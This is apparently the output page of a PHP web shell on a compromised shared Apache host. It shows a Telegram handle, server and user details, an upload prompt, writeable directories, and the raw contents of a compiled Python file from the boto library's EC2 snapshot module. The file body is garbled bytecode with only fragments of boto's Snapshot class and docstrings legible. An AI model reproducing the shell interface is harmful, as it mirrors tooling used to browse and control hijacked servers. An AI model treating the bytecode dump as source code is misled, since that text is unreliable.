https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/boto/ec2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/boto/ec2/__pycache__/snapshot.cpython-310.pyc
o

ckF[s�@s@dZddlmZddlmZGdd�de�ZGdd�de�ZdS)	z0
Represents an EC2 Elastic Block Store Snapshot
�)�TaggedEC2Object)�Zonecs�eZdZdZdZd�fdd�	Zdd�Zdd	�Zd
d�Zdd
d�Z	ddd�Z
ddd�Zddd�Zddd�Z
ddd�Z		ddd�Z�ZS) �Snapshota�
    Represents an EBS snapshot.
    :ivar id: The unique ID of the snapshot.
    :ivar volume_id: The ID of the volume this snapshot was created
    from.
    :ivar status: The status of the snapshot.
    :ivar progress: The percent complete of the snapshot.
    :ivar start_time: The timestamp of when the snapshot was created.
    :ivar owner_id: The id of the account that owns the snapshot.
    :ivar owner_alias: The alias of the account that owns the snapshot.
    :ivar volume_size: The size (in GB) of the volume the snapshot was created from.
    :ivar description: The description of the snapshot.
    :ivar encrypted: True if this snapshot is encrypted
    �createVolumePermissionNcsPtt|��|�d|_d|_d|_d|_d|_d|_d|_	d|_
d|_d|_dS�N)
�superr�__init__�id�	volume_id�status�progress�
start_time�owner_id�owner_alias�volume_size�description�	encrypted)�self�
connection��	__class__��3/usr/lib/python3/dist-packages/boto/ec2/snapshot.pyr0s
zSnapshot.__init__cCs
d|jS)NzSnapshot:%s)r	)rrrr�__repr__=s
zSnapshot.__repr__cCs�|dkr	||_dS|dkr||_dS|dkr||_dS|dkr$||_dS|dkr-||_dS|dkr6||_dS|dkrLzt|�|_WdS||_YdS|dkrU||_dS|d	krb|�	�d
k|_
dSt|||�dS)N�
snapshotId�volumeIdr�	startTime�ownerId�
ownerAlias�
volumeSizerr�true)r	r
rr
rr�intrr�lowerr�setattr�r�name�valuerrrr�
endElement@s,






zSnapshot.endElementcCs|j|_|j|_dSr)rr)r�updatedrrr�_updateYszSnapshot._updateFcCsL|jj|jg|d�}t|�dkr|�|d�|jS|r#td|j��|jS)a�
        Update the data associated with this snapshot by querying EC2.

        :type validate: bool
        :param validate: By default, if EC2 returns no data about the
                         snapshot the update method returns quietly.  If
                         the validate param is True, however, it will
                         raise a ValueError exception if no data is
                         returned from EC2.
        ��dry_runrz%s is not a valid Snapshot ID)r�get_all_snapshotsr	�lenr)�
ValueErrorr)r�validater+�rsrrr�update]s�zSnapshot.updatecCs|jj|j|d�S�Nr*)r�delete_snapshotr	�rr+rrr�deleteoszSnapshot.deletecCs|jj|j|j|d�}|jSr2)r�get_snapshot_attributer	�AttrName�attrs)rr+r8rrr�get_permissionsrs�zSnapshot.get_permissionscC�|jj|j|jd|||d�S)N�addr*�r�modify_snapshot_attributer	r7�r�user_ids�groupsr+rrr�sharez�
�zSnapshot.sharecCr:)N�remover*r<r>rrr�unshare�rBzSnapshot.unsharecCs|jj|j|j|d�Sr2)r�reset_snapshot_attributer	r7r4rrr�reset_permissions�s
�zSnapshot.reset_permissionsc	Cs.t|t�r|j}|jj|||j|||j|d�S)aq
        Create a new EBS Volume from this Snapshot

        :type zone: string or :class:`boto.ec2.zone.Zone`
        :param zone: The availability zone in which the Volume will be created.

        :type size: int
        :param size: The size of the new volume, in GiB. (optional). Defaults to
            the size of the snapshot.

        :type volume_type: string
        :param volume_type: The type of the volume. (optional).  Valid
            values are: standard | io1 | gp2.

        :type iops: int
        :param iops: The provisioned IOPs you want to associate with
            this volume. (optional)
        r*)�
isinstancerr%r�
create_volumer	r)r�zone�size�volume_type�iopsr+rrrrH�s
�zSnapshot.create_volumer)FF)F)NNF)NNNF)�__name__�
__module__�__qualname__�__doc__r7rrr'r)r1r5r9rArDrFrH�
__classcell__rrrrrs 






�rc@s&eZdZddd�Zdd�Zdd�ZdS)	�SnapshotAttributeNcCsd|_i|_dSr)�snapshot_idr8)r�parentrrrr�s
zSnapshotAttribute.__init__cCsdSrr)rr%r8rrrr�startElement�szSnapshotAttribute.startElementcCs�|dkr	d|_dS|dkr$d|jvr|jd�|�dS|g|jd<dS|dkr?d|jvr7|jd�|�dS|g|jd<dS|dkrH||_dSt|||�dS)Nr�create_volume_permission�groupr@�userIdr?r)r%r8�appendrSr#r$rrrr'�s



zSnapshotAttribute.endElementr)rMrNrOrrUr'rrrrrR�s
rRN)rP�boto.ec2.ec2objectr�
boto.ec2.zonerr�objectrRrrrr�<module>s

https://t.me/RX1948 - 2025